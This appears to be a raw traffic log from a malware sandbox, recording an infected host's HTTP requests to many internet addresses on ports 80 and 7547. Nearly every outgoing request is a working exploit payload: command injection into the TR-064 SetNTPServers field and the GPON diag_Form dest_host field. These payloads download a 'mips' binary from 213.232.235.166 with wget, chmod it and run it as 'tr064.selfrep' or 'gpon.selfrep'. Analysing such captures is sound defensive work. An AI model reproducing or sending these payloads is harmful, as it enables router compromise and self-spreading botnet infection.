Apr 15, 2024 08:52:28.911665916 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:52:28 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.13	53242	221.147.219.44	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.647352934 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.13	54018	38.6.121.41	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.650814056 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:28.803457975 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:52:37 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.13	39554	104.20.160.36	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.650969028 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:28.803582907 CEST	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 15 Apr 2024 06:52:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.13	57590	14.57.254.144	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.654150963 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.13	56648	67.0.222.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.655350924 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:28.868159056 CEST	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.13	45958	190.194.183.233	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.660398006 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.13	32920	154.22.205.253	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.663908005 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:28.829720974 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:27 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.13	52286	54.227.111.115	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.713469028 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.856502056 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:30.071791887 CEST	648	IN	HTTP/1.1 404 Not Found Date: Mon, 15 Apr 2024 06:52:29 GMT Server: Varnish X-Varnish: 2907295 Content-Type: text/html; charset=utf-8 Retry-After: 5 Content-Length: 435 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 54 68 69 73 20 73 65 72 76 65 72 20 69 73 20 65 78 70 65 72 69 65 6e 63 69 6e 67 20 74 65 63 68 6e 69 63 61 6c 20 70 72 6f 62 6c 65 6d 73 2e 20 50 6c 65 61 73 65 0a 74 72 79 20 61 67 61 69 6e 20 69 6e 20 61 20 66 65 77 20 6d 6f 6d 65 6e 74 73 2e 20 54 68 61 6e 6b 73 20 66 6f 72 20 79 6f 75 72 20 63 6f 6e 74 69 6e 75 65 64 20 70 61 74 69 65 6e 63 65 2c 20 61 6e 64 0a 77 65 27 72 65 20 73 6f 72 72 79 20 66 6f 72 20 61 6e 79 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 20 74 68 69 73 20 6d 61 79 20 63 61 75 73 65 2e 3c 2f 68 31 3e 0a 20 20 20 20 3c 70 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 20 20 3c 68 33 3e 47 75 72 75 20 4d 65 64 69 74 61 74 69 6f 6e 3a 3c 2f 68 33 3e 0a 20 20 20 20 3c 70 3e 58 49 44 3a 20 32 39 30 37 32 39 35 3c 2f 70 3e 0a 20 20 20 20 3c 68 72 3e 0a 20 20 20 20 3c 70 3e 56 61 72 6e 69 73 68 20 63 61 63 68 65 20 73 65 72 76 65 72 3c 2f 70 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html> <head> <title>404 Not Found</title> </head> <body> <h1>This server is experiencing technical problems. Pleasetry again in a few moments. Thanks for your continued patience, andwe're sorry for any inconvenience this may cause.</h1> <p>Error 404 Not Found</p> <p>Not Found</p> <h3>Guru Meditation:</h3> <p>XID: 2907295</p> <hr> <p>Varnish cache server</p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.13	60884	5.167.43.27	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.725481987 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:29.063709021 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:28 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.13	58068	186.7.196.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.735165119 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:28.974602938 CEST	325	IN	HTTP/1.1 400 Bad Request Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Apr 15, 2024 08:52:28.974620104 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 15, 2024 08:52:29.483057976 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.13	54616	150.116.154.175	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.786010981 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.073906898 CEST	111	IN	HTTP/1.1 404 Not Found Connection: close Content-Type: text/plain Transfer-Encoding: chunked
Apr 15, 2024 08:52:29.073923111 CEST	48	IN	Data Raw: 31 39 0d 0a 4e 6f 20 73 75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 0d 0a 30 0d 0a 0d 0a Data Ascii: 19No such file or directory0

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.13	55434	159.134.172.137	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.796196938 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.094619989 CEST	495	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Timing-Allow-Origin: * Cache-Control: no-store Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-TCP-Info X-TCP-Info: addr=81.181.54.60;port=55434;sc= Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.13	51262	20.73.249.22	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.800323963 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.101644039 CEST	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Mon, 15 Apr 2024 06:52:28 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.13	60548	151.251.68.81	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.801851988 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.13	51632	77.81.232.33	80

Timestamp	Bytes transferred	Direction	Data
